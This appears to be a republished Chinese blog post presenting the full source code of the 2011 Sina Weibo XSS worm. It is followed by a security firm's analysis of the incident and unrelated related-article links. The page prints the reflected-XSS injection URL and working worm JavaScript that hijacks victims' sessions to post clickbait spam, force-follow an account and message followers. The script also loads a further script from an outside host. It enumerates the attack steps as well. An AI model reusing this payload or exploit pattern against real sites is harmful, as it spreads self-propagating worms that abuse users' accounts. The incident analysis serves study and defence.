新浪微博之XSS蠕虫脚本源码讲解
主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。
========================================
微博XSS漏洞点
weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src=//www.****.com/images/t.js%3e%3c/script%3e?type=update
微博XSS脚本内容(XSS源码)
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
for(i=0;i<id.length;i++){
sum = id.toString().split('"')[3];
id_arr += sum + '||';
}
return id_arr;
}
function random_msg(){
link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
var msgs = [
'郭美美事件的一些未注意到的细节:',
'建党大业中穿帮的地方:',
'让女人心动的100句诗歌:',
'3D肉团团高清普通话版种子:',
'这是传说中的神仙眷侣啊:',
'惊爆!范冰冰艳照真流出了:',
'杨幂被爆多次被潜规则:',
'傻仔拿锤子去抢银行:',
'可以监听别人手机的软件:',
'个税起征点有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); "发送微博"
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}
function follow(){
url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true); "加关注"
}
function message(){
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; "给粉丝发私信"
ids = getappkey(url);
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);
}
}
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
Nevel安全专家:新浪微博”中毒”分析报告
事件的经过
新浪微博6月28日晚出现大范围”中毒”现象,大量用户自动发送”建党大业中穿帮的地方”,“个税起征点有望提到4000”,“郭美美事件的一些未注意到的细节”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。
此前利用XSS漏洞传播蠕虫的案列在社交网站中曾多次发生,Facebook,Twitter,以及QQ空间,百度空间等都出现过类似的情况。此次新浪
微博”中毒”,立刻引起了Nevel公司安全团队的重视。新浪官方早在第一时间就检测到该病毒,并对漏洞进行了修补,病毒的存活时间不到半个小时,其实
XSS中毒现象也并不像传统意义上的中毒,仅仅存活在服务器上,它基本不会对用户电脑造成很大威胁,但会利用用户在新浪微博上的会话权限进行微博发布、关
注等操作,同时该漏洞也无法获取到用户的密码信息,用户不需要有太多的担忧。
分析报告:
下面我们来一起分析下该漏洞的成因:从PAYLOAD上来看,实际上属于一个反射弧性的XSS攻击,
http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
URlDecode:
http://weibo.com/pub/star/g/xyyyd"> ?type=update
攻击者利用微博广播广场页面http://weibo.com/pub/star的一个URL注入了js脚本,那么这个脚本攻击者是怎么注入进去的(新
浪漏洞已修补),我们其实可以根据现象去分析,对于蠕虫攻击,受攻击者的页面应该也都会发布带有攻击性的JS内容,我们可以发现所有被攻击的用户微博上都
会发布一条短连接信息,因此我们可以初步断定问题发生在短连接处,笔者利用自己的微博,尝试发布一条带有短连接形式的微博,直接发布一条含有URL的微
博,如下图:
发布完成后我们查看下网页源代码,如下图:
很显然真实的地址会被写入到action-data的属性中去,因此不难想象漏洞产生原因,由于action-data的值没有进行合适的过滤,导致攻击者可以输入畸形的数据插入JS脚本,闭合前面的双引号和尖括号,从而造成XSS攻击。
构造Xss_Exploit如下:
http://weibo.com/pub/star/g/xyyyd"> ?type=update
注:
//www.2kt.cn/images/t.js是一种合法的协议写法,与http://www.2kt.cn/images/t.js效果一样。
完整模拟攻击者的攻击手段:
1 首先将攻击脚本存放在www.2kt.cn服务器上
2 建立恶意用户,利用构造的XSS_Exploit发布微博消息
3 通过发布吸引力强的热门的话题让有影响力的人访问,中招者自动发微博并进行传播
在攻击过程中,攻击者多次利用短连接将真实的URL进行转换,让一般用户不易发现,以便更好地延长蠕虫的存活时间,短连接在提供简短易记的同时,也带来了一些新的安全问题,攻击者可以利用这些短连接隐藏实际攻击URL来进行攻击.
新浪微博之XSS蠕虫脚本源码讲解的更多相关文章
- 手机3D游戏开发:自定义Joystick的相关设置和脚本源码
Joystick在手游开发中非常常见,也就是在手机屏幕上的虚拟操纵杆,但是Unity3D自带的Joystick贴图比较原始,所以经常有使用自定义贴图的需求. 下面就来演示一下如何实现自定义JoySti ...
- (3.4)mysql基础深入——mysql.server启动脚本源码阅读与分析
(3.4)mysql基础深入——mysql.server启动脚本源码阅读与分析 my.server主要分为3大部分 [1]变量初始化部分 [2]函数声明部分 [3]具体执行部分 #!/bin/sh # ...
- Samy XSS Worm之源码讲解
说到Web安全和XSS跨站脚本技术,几乎所有的书都会提到Samy Worm,这是在2005年感染了mySpace社交网络上百万用户的蠕虫.正如Morris蠕虫是互联网第一个蠕虫, Samy Worm则 ...
- gradle脚本源码查看环境搭建
背景 我刚入门学习gradle时,网上资料都是说通过gradle的api查看并学习脚本编写,但是api一般只有接口说明,并不能深入了解各个api的实现逻辑,有时就会对一些脚本的写法感到疑惑.通过搭建源 ...
- Tomcat的启停脚本源码解析
Tomcat是一款我们平时开发过程中最常用到的Servlet容器.本系列博客会记录Tomcat的整体架构.主要组件.IO线程模型.请求在Tomcat内部的流转过程以及一些Tomcat调优的相关知识. ...
- 一篇很好的关于mysqld_safe脚本源码解读的文章,收藏了!!
#!/bin/sh # 一些状态变量的定义 KILL_MYSQLD=; # 试图kill多余的mysqld_safe程序,1表示需要kill MYSQLD= # mysqld二进制可执行文件的名称 n ...
- Qt5.5.0使用mysql编写小软件源码讲解---顾客信息登记表
Qt5.5.0使用mysql编写小软件源码讲解---顾客信息登记表 一个个人觉得比较简单小巧的软件. 下面就如何编写如何发布打包来介绍一下吧! 先下载mysql的库文件链接:http://files. ...
- 源码讲解 node+mongodb 建站攻略(一期)第二节
源码讲解 node+mongodb 建站攻略(一期)第二节 上一节,我们完成了模拟数据,这次我们来玩儿真正的数据库,mongodb. 代码http://www.imlwj.com/download/n ...
- 《数据结构-C语言版》(严蔚敏,吴伟民版)课本源码+习题集解析使用说明
<数据结构-C语言版>(严蔚敏,吴伟民版)课本源码+习题集解析使用说明 先附上文档归类目录: 课本源码合辑 链接☛☛☛ <数据结构>课本源码合辑 习题集全解析 链接☛☛☛ ...
随机推荐
- PHP 把GBK编码转换为UTF8
//把GBK编码转换为UTF8 $name="勿以善小而不为"; $name=iconv("GBK", "UTF-8", $name);
- 排序 选择排序&&堆排序
选择排序&&堆排序 1.选择排序: 介绍:选择排序(Selection sort)是一种简单直观的排序算法.它的工作原理如下.首先在未排序序列中找到最小(大)元素,存放到排序序列的起始 ...
- android----Java DES加密算法工具类
DESUtil类 public class DESUtil { private static byte[] iv = {0x12, 0x34, 0x56, 0x78, (byte) 0x90, (by ...
- hdu 2612 Find a way
题目连接 http://acm.hdu.edu.cn/showproblem.php?pid=2612 Find a way Description Pass a year learning in H ...
- python中的各种排序
#encoding=utf-8 import random from copy import copy def directInsertSort(seq): """ 直接 ...
- simplexml_load_string 解析gb2312编码的xml
<?php header('Content-type:text/html;charset=UTF-8'); $url = 'http://www.xxx.com/text.xml'; $cont ...
- Question about pairing/bonding?
Except that on android you can bypass the pairing dialog if you know the PIN in advance through a di ...
- ExtJS MVC学习手记
开始学习ExtJS的MVC了.这篇文章仅是用来做一个目录,为自己这个阶段的学习内容做个索引. 手记涉及的文章: EXTJS MVC结构(译自ExtJS4.0文档中的<MVC Architectu ...
- Qt之SQL数据库
---------------------------- http://blog.csdn.net/reborntercel/article/details/6991147 http://blog.c ...
- EasyUI 兼容 IE6 方法总结
1.combobox 如果单选,multiple必须也设置为true.这个ie7如果没设置,会保持多选状态,算是一个bug. 2.combobox 最好用js来渲染,而不是一开始就class=“eas ...